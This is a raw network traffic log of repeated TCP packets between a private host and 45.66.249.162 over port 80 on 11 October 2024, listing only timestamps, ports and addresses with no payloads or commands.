Oct 11, 2024 22:32:26.111296892 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.111732006 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.116532087 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.575445890 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.575520039 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.575558901 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.575561047 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.575603962 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.575637102 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.575647116 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.575647116 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.575647116 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.575670004 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.575716972 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.575726986 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.575726986 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.575762987 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.575769901 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.575841904 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.576448917 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.577213049 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.577213049 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.577282906 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.724036932 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.724138975 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.724173069 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.724226952 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.724261999 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.724292994 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.724324942 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.724349022 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.724349022 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.724349022 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.724349022 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.724349022 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.724364042 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.724392891 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.724451065 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.724994898 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.725029945 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.725063086 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.725095034 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.725162983 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.725162983 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.725162983 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.725162983 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.725838900 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.725873947 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.725907087 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.725908995 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.725908995 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.725940943 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.726155996 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.726155996 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.726653099 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.726710081 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.726742029 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.726744890 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.726777077 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.726799965 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.727428913 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.727543116 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.727576017 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.727612972 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.727720022 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.727720022 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.812429905 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.812582970 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.873560905 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.873610973 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.873625040 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.873637915 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.873657942 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.873678923 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.873678923 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.873702049 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.873708963 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.873723984 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.873754025 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.873775959 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.873791933 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.873807907 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.873821974 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.873862982 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.873862982 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.873862982 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.874763966 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.874779940 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.874823093 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.874833107 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.874846935 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.874864101 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.874876976 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.874891996 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.874912977 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.874912977 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.874912977 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.874913931 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.874942064 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.874942064 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.875622034 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.875636101 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.875650883 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.875673056 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.875674963 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.875685930 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.875690937 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.875710964 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.875725985 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.876003981 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.876003981 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.876003981 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.876003981 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.876457930 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.876471996 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.876493931 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.876508951 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.876523018 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.876523972 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.876538038 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.876539946 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.876539946 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.876552105 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.876552105 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.876557112 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.876616955 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.876616955 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.877363920 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.877387047 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.877403021 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.877417088 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.877432108 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.877440929 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.877440929 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.877440929 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.877446890 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.877465010 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.877465010 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.877465010 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.877516031 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.877516031 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.878274918 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.878289938 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.878310919 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.878324986 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.878334999 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.878349066 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.878360987 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.878360987 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.878360987 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.878366947 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.878384113 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.878477097 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.878477097 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.878477097 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.879621983 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.879671097 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.908193111 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.908226967 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.908277988 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.908277988 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.908404112 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.908478975 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.941665888 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.941756010 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:26.941800117 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:26.941800117 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.023621082 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.023699999 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.023732901 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.023735046 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.023768902 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.023776054 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.023776054 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.023803949 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.023821115 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.023835897 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.023870945 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.023891926 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.023905993 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.023938894 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.023971081 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.024003983 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.024023056 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.024023056 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.024023056 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.024023056 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.024054050 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.024090052 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.024094105 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.024094105 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.024126053 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.024156094 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.024168968 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.024364948 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.024400949 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.024452925 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.024483919 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.024518013 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.024553061 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.024605036 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.024605036 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.024605036 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.024605036 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.024605036 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.024605036 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.024739027 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.024789095 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.024789095 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.024823904 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.024898052 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.024898052 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.025330067 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.025362968 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.025398970 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.025414944 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.025414944 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.025434017 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.025484085 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.025496960 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.025496960 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.025516987 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.025566101 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.025569916 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.025569916 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.025616884 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.025633097 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.025650978 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.025682926 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.025684118 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.025708914 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.025718927 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.025752068 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.025773048 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.025773048 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.025785923 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.025788069 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.025818110 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.025851011 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.025854111 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.025854111 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.025887012 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.025922060 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.025990963 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.025990963 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.025990963 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.026319027 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.026384115 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.026431084 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.026463985 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.026494026 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.026494026 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.026494026 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.026495934 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.026529074 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.026561975 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.026571989 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.026571989 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.026571989 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.026597023 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.026643991 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.026664019 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.095304966 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.095340014 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.095376968 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.095403910 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.095403910 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.095432997 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.095479012 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.095530033 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.095562935 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.095572948 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.095572948 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.095612049 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.095644951 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.095670938 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.095670938 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.095693111 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.095726013 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.095752001 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.095752001 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.095767975 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.095774889 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.095807076 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.095828056 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.095839977 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.095873117 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.095877886 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.095877886 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.095922947 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.095925093 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.095957994 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.095989943 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.095992088 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.096005917 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.096023083 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.096056938 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.096082926 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.096082926 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.096092939 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.096122980 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.096148968 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.096148968 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.096154928 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.096168041 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.096188068 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.096210957 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.096220016 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.096252918 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.096262932 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.096283913 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.096317053 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.096319914 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.096353054 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.096388102 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.096390963 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.096405983 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.096421957 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.096453905 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.096458912 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.096468925 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.096487045 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.096518993 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.096549988 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.096584082 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.096584082 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.096584082 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.096584082 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.096584082 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.096633911 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.173796892 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.173840046 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.173877001 CEST	49707	80	192.168.2.8	45.66.249.162
